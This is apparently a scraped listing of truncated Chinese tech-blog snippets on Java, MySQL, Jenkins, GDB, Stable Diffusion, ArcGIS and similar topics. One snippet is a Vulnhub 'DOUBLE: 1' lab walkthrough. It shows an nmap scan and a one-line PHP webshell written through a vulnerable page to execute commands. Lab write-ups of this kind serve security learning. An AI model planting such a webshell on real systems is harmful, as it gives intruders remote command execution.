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OrienterNet: visual localization in 2D public maps with neural matching 论文阅读
论文信息
题目：OrienterNet: visual localization in 2D public maps with neural matching 作者：Paul-Edouard Sarlin， Daniel DeTone 项目地址：github.com/facebookresearch/OrienterNet 来源：CVPR 时间：…
Vulnhub: DOUBLE: 1靶机
kali：192.168.111.111
靶机：192.168.111.209
信息收集
端口扫描
nmap -A -sC -v -sV -T5 -p- --scripthttp-enum 192.168.111.209 目标80端口 sendcommand.php页面源码 写入webshell
<?php system($_GET["cmd"]);?> 执行命令
ht…
![java八股文面试[java基础]——接口和抽象类的区别](https://img-blog.csdnimg.cn/e39e6081b7134d85a802287567ad38cb.png)
java八股文面试[java基础]——接口和抽象类的区别
知识来源：
【基础】接口和抽象类_哔哩哔哩_bilibili
【2023年面试】Java中抽象类和接口有什么区别_哔哩哔哩_bilibili
测试平台metersphere
metersphere可以做接口测试、UI测试、性能测试。
metersphere接口测试底层是jmeter，可以做API管理，快捷调试，接口用例管理，接口自动化场景执行一键选取用例范围，生成测试报告。
会用jmeter，metersphere会…
CentOS Stream 9中安装MySQL的详细步骤
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安装前先卸载系统上旧版本的 MySQL（没有则跳过此步骤）
查看已安装的MySQLrpm -qa | grep mysql卸载查询到的所有安装包rpm -e PackageName # 可批量删除删除my.cnf 查看/etc/my.cnf文件是否还存…
Struts vs. Struts 2：Java Web 开发框架的升级之路与竞争力分析
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基于Jenkins自动打包并部署Tomcat环境
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1、配置git主机
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3、配置web主机
4、新建Maven项目
5、验证 Jenkins 自动打包部署结果 Jenkins 的工作原理是先将源代码从 SVN/Git 版本控制系统中拷贝一份到本地，然后根据设置的脚本调用Maven进行 build（构建）。…
基于Googlenet深度学习网络的矿物质种类识别matlab仿真
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1.算法运行效果图预览
2.算法运行软件版本
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4.算法理论概述
5.算法完整程序工程 1.算法运行效果图预览 2.算法运行软件版本
matlab2022a
3.部分核心程序
............................................................................
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Java课题笔记~ MyBatis分页查询插件
1.添加依赖
<!-- https://mvnrepository.com/artifact/com.github.pagehelper/pagehelper -->
<dependency><groupId>com.github.pagehelper</groupId><artifactId>pagehelper</artifactId><version>5.2.0</version>
</de…
常见图像文件类型描述
前言
世界上有非常多的图像文件格式。下面列举了网页上常用的格式，其中 BMP 由于浏览器支持限制而不被推荐，通常应该避免在网页内容中使用。
图像文件类型
APNG（动画便携式网络图形）
APNG 是 Mozilla 首次推出的一种文件格式&…
Linux 系统下 GDB 调试器的使用
文章目录 简介GDB 的介绍GDB 的使用 GDB 常用命令及示例查看相关操作断点相关操作运行相关操作变量相关操作分隔窗口操作 简介 GDB 的介绍
GDB 是 GNU 调试程序，是用来调试 C 和 C 程序的调试器。它可以让程序开发者在程序运行时观察程序的内部结构和内存的使用情况…
算法-滑动窗口-串联所有单词的子串
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1.1 题目出处
https://leetcode.cn/problems/substring-with-concatenation-of-all-words/
1.2 题目描述 2 滑动窗口Hash表
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记录：ubuntu20.04+ORB_SLAM2_with_pointcloud_map+ROS noetic
由于相机实时在线运行需要ROS，但Ubuntu22.04只支持ROS2，于是重装Ubuntu20.04。上一篇文章跑通的是官方版本的ORB_SLAM2，不支持点云显示。高翔修改版本支持RGB-D相机的点云显示功能。 高翔修改版本ORB_SLAM2：https://github.com/ga…
Stable Diffusion 系列教程 | 文生图 - 提示词
目录
1.提示词 基本的规则
2.提示词分类
2.1内容性提示词
2.2 画风艺术派提示词
2.3 画幅视角
2.4画质提示词
3 反向提示词
3.1 内容性反向提示词
3.2 画质性反向提示词
4 实例分析
5 权重
5.1 方法一
5.2 方法二
6.参数
7. 学习and 技巧
7.1 辅助写提示词的网…
配置真实项目问题1--拉取项目并搭建环境
一、下载nvm安装管理node版本 1.安装nvm之前一定要把电脑中原有的node版本给卸载干净； 2.nvm下载链接：nvm.uihtm.com/ 3.具体安装流程可以参考https://zhuanlan.zhihu.com/p/550264306这篇文档 4.安装之后，在控制台中查看版本node -v,发现依旧…
【Linux操作系统】Linux系统编程中信号捕捉的实现
在Linux系统编程中，信号是一种重要的机制，用于实现进程间通信和控制。当某个事件发生时，如用户按下CtrlC键，操作系统会向进程发送一个信号，进程可以捕获并相应地处理该信号。本篇博客将介绍信号的分类、捕获与处理方式…
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sas数据转pandas
1999年以后的nhanes数据都是以xpt文件格式发布的，而更早的数据有很多是以dat原始数据格式发布，需要将原始数据转为数据表以做进一步统计分析。
以 NHANES III 为例，其中有一个数据Household Youth File，包含3个数据文件youth.dat…
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首先打开ArcGis10.6，点击带黄底的小加号，添加底图。 可以选择中国地图彩色版，然后双击，转动鼠标滑轮找到属于自己的城市。 点击-目录，在新建的文件夹里右击-新建-shapefile。 格式选择折线，先把主要河流道路…